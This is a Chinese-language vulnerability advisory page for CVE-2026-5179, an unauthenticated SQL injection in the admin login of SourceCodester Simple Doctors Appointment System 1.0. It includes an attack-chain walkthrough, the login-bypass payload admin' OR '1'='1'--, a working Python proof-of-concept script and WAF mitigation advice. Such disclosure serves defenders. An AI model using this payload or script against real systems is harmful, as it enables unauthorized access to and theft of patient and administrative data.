IPBUF安全漏洞报告
English
CVE-2026-5179 CVSS 7.3 高危

CVE-2026-5179 Simple Doctors Appointment System SQL注入漏洞

披露日期: 2026-03-31

漏洞信息

漏洞编号
CVE-2026-5179
漏洞类型
SQL注入
CVSS评分
7.3 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
SourceCodester Simple Doctors Appointment System

相关标签

SQL注入CVE-2026-5179SourceCodesterSimple Doctors Appointment System远程代码执行无需认证

漏洞概述

SourceCodester Simple Doctors Appointment System 1.0版本被发现存在严重的SQL注入漏洞。漏洞源于/admin/login.php文件未能正确过滤用户输入的Username参数。未经身份验证的攻击者可利用此漏洞,通过发送特制的恶意请求执行任意SQL代码。该漏洞允许远程攻击者窃取敏感数据库信息、篡改数据或破坏系统服务,对系统的机密性、完整性和可用性构成严重威胁。

技术细节

该漏洞属于典型的SQL注入漏洞,具体存在于应用程序的后台登录接口。在`/admin/login.php`文件处理逻辑中,开发人员直接将用户POST请求中的`Username`参数拼接到了SQL查询语句中,未进行任何有效的过滤或使用预编译语句。由于CVSS向量显示PR:N(无需权限),说明攻击者在无需登录的情况下即可触发该漏洞。攻击者可以通过注入SQL控制字符(如单引号、注释符)或布尔逻辑(如`' OR '1'='1`)来改变原始SQL语句的语义。利用方式包括基于布尔的盲注、联合查询注入等,攻击者不仅可以绕过身份验证直接登录后台,还能通过报错信息或时间延迟提取数据库中的敏感数据,甚至写入WebShell获取服务器权限。

攻击链分析

STEP 1
步骤1:侦察
攻击者识别出目标正在运行SourceCodester Simple Doctors Appointment System 1.0,并定位到后台登录页面/admin/login.php。
STEP 2
步骤2:武器化
攻击者构造恶意的SQL注入Payload(例如:admin' OR '1'='1'--),旨在绕过登录验证或提取数据库数据。
STEP 3
步骤3:交付
攻击者向/admin/login.php发送HTTP POST请求,将恶意Payload注入到Username参数中。
STEP 4
步骤4:利用
服务器端后端脚本直接将未经过滤的Username参数拼接到SQL查询中执行,导致数据库执行了攻击者构造的恶意SQL语句。
STEP 5
步骤5:达成目标
攻击者成功绕过身份验证登录后台,或读取到敏感数据,进而对系统进行进一步的控制。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests def exploit_sqli(target_url): """ PoC for CVE-2026-5179 SQL Injection in Simple Doctors Appointment System 1.0 Exploits the Username parameter in /admin/login.php """ login_url = f"{target_url}/admin/login.php" # Malicious payload to bypass login or extract data # Example: ' OR '1'='1 to bypass authentication payload = { "Username": "admin' OR '1'='1'--", "Password": "random_password" } try: response = requests.post(login_url, data=payload, timeout=10) # Check if the payload was successful (e.g., redirection to dashboard or specific success message) if "dashboard" in response.text.lower() or response.status_code == 302: print("[+] Exploit successful! SQL Injection confirmed.") print(f"[+] Response length: {len(response.text)}") else: print("[-] Exploit failed or target not vulnerable.") except requests.exceptions.RequestException as e: print(f"[!] Error connecting to target: {e}") if __name__ == "__main__": target = "http://localhost" # Replace with actual target URL exploit_sqli(target)

影响范围

SourceCodester Simple Doctors Appointment System 1.0

防御指南

临时缓解措施
如果无法立即升级代码,建议在Web应用防火墙(WAF)中配置规则,拦截对/admin/login.php的请求中包含单引号、OR、UNION、SELECT等常见SQL注入关键词的流量。同时,建议临时关闭系统对外暴露的登录接口或通过IP白名单限制访问,直到漏洞被彻底修复。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表